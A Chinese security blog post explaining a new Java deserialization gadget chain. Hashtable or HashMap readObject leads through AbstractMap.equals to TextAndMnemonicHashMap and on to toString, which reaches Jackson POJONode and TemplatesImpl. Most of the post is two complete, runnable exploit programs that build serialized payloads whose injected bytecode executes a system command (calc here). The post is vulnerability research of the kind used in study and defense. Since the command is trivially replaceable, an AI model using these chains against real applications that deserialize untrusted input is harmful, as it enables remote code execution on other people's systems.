新Source触发ToString

3 分钟

前言

在上班闲的时候无意中看到的Unam4师傅的文章,Unam4师傅找到了触发toString方法的不同入口,而toString方法也是挺多反序列化Gadgets需要用到的点,比如jackson原生反序列化Vaadin反序列化链等,为此学习了一下。

HashTable

UIDefaults的子类TextAndMnemonicHashMap类中,存在get方法能够接收一个key参数,当在HashMap中通过get方法取这个key最终结果为空时,就会触发key.toString()从而触发toString()方法。

image-20240614144313577

AbstractMap#equals方法中,在遍历键值对的时候,当键值对遍历时,其中的value为空,就会触发m.get()方法。

image-20240614145302998

反序列化最终的起点都得引向readObject方法中,因此最终需要找readObject能够触发equals方法,比如说常见的hashTable#readObject。在HashTable#readObject中,最终会调用reconstitutionPut方法,在这个方法中,能够通过e.key.equals触发equals方法。

image-20240614150419800

这里需要阐述一下为什么javax.swing.UIDefaults$TextAndMnemonicHashMap"的键能够触发AbstractMapequals方法,因为TextAndMnemonicHashMap继承于HashMapHashMap继承于AbstractMap并且HashMap没有实现equals方法,最终就是找到AbstractMap中的方法。

Gadgets如下:

HashTable#readObject()->AbstractMap.equals()->TextAndMnemonicHashMap#toString()

jackson原生反序列化为例,payload如下:

,package com.example.demo.demos.web;

import com.fasterxml.jackson.databind.node.POJONode;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;

import java.io.IOException;
import javax.management.BadAttributeValueExpException;
import javax.swing.*;
import java.io.*;
import java.lang.invoke.MethodHandles;
import java.lang.invoke.MethodType;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class jacksonserialize {
    public static void main(String[] args) throws Throwable {
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();
        TemplatesImpl templatesImpl=new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", null);
        POJONode pojoNode = new POJONode(templatesImpl);
        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"222");
        map2.put(pojoNode,"111");
        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);
        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);
        Hashtable hashtable=new Hashtable();
        hashtable.put(map1,1);
        hashtable.put(map2,1);
        map1.put(pojoNode, null);
        map2.put(pojoNode, null);
        byte[] result=serialize(hashtable);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();
    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield = object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object, value);
    }

    public static byte[] serialize(Object object) throws  IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
    template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
}

在写这段代码的时候,遇到了loadFactor找不到或者没有定义loadFactor的问题,于是就去找了找这个参数的实际作用到底是什么,实际作用如下:

  • loadFactor(负载因子)定义了 HashMap 在自动扩容之前可以达到的填充度。它是一个介于 0 和 1 之间的浮点数,表示当 HashMap 中的元素个数(容量)达到初始容量(桶数量)乘以 loadFactor 时,HashMap 将进行扩容。
  • 那么为什么没有loadFactor参数就不能进行反序列化呢?
  • 原因是因为当反序列化要恢复序列化的内容的时候,需要loadFactor才能够知晓扩容的情况,准确恢复反序列化之前的状态。

HashMap

同样HashMap#readObject触发putVal也可以触发equals方法,这与HashMap触发HotSwappableTargetSource是基本上一致的。

image-20240614161618771

Gadgets如下:

HashMap#readObject()->HashMap#putVal()->AbstractMap.equals()->TextAndMnemonicHashMap#toString()

payload如下:

package com.example.demo.demos.web;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import sun.reflect.ReflectionFactory;

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class jacksonHashMap {
    public static void main(String[] args) throws Throwable {
        CtClass ctClass= ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace=ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(writeReplace);
        ctClass.toClass();


        TemplatesImpl templatesImpl=new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplates()});
        setFieldValue(templatesImpl, "_name", "aiwin");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        POJONode pojoNode = new POJONode(templatesImpl);

        Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
        Map map1= (HashMap) createWithoutConstructor(innerClass);
        Map map2= (HashMap) createWithoutConstructor(innerClass);
        map1.put(pojoNode,"111");
        map2.put(pojoNode,"222");

        Field field=HashMap.class.getDeclaredField("loadFactor");
        field.setAccessible(true);
        field.set(map1,1);

        Field field1=HashMap.class.getDeclaredField("loadFactor");
        field1.setAccessible(true);
        field1.set(map2,1);


        HashMap hashMap = new HashMap();
        hashMap.put(map1,"1");
        hashMap.put(map2,"1");
        setHashMapValueToNull(map1, pojoNode);//为了在HashMap.put时候就触发,通过反射变成null
        setHashMapValueToNull(map2, pojoNode);

        byte[] result=serialize(hashMap);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);
        ObjectInputStream ois = new ObjectInputStream(byteArrayInputStream);
        ois.readObject();

    }
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field dfield = object.getClass().getDeclaredField(field);
        dfield.setAccessible(true);
        dfield.set(object, value);
    }

    public static byte[] serialize(Object object) throws IOException {
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(object);
        return byteArrayOutputStream.toByteArray();
    }
    public static byte[] getTemplates() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("Test");
        template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();

    }

    public static <T> Object createWithoutConstructor (Class classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T)sc.newInstance(consArgs);
    }
    private static void setHashMapValueToNull(Map map, Object key) throws Exception {
        Field tableField = HashMap.class.getDeclaredField("table");
        tableField.setAccessible(true);
        Object[] table = (Object[]) tableField.get(map);

        for (Object node : table) {
            if (node == null) continue;

            Class<?> nodeClass = node.getClass();
            Field keyField = nodeClass.getDeclaredField("key");
            keyField.setAccessible(true);
            Object k = keyField.get(node);

            if (k != null && k.equals(key)) {
                Field valueField = nodeClass.getDeclaredField("value");
                valueField.setAccessible(true);
                valueField.set(node, null);
                break;
            }
        }
    }
}

参考文章:jdk新入口挖掘

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:新Source触发ToString
文章链接:https://aiwin.fun/index.php/archives/4420/
最后编辑:2024 年 6 月 14 日 16:44 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 7 + 8 =
快来做第一个评论的人吧~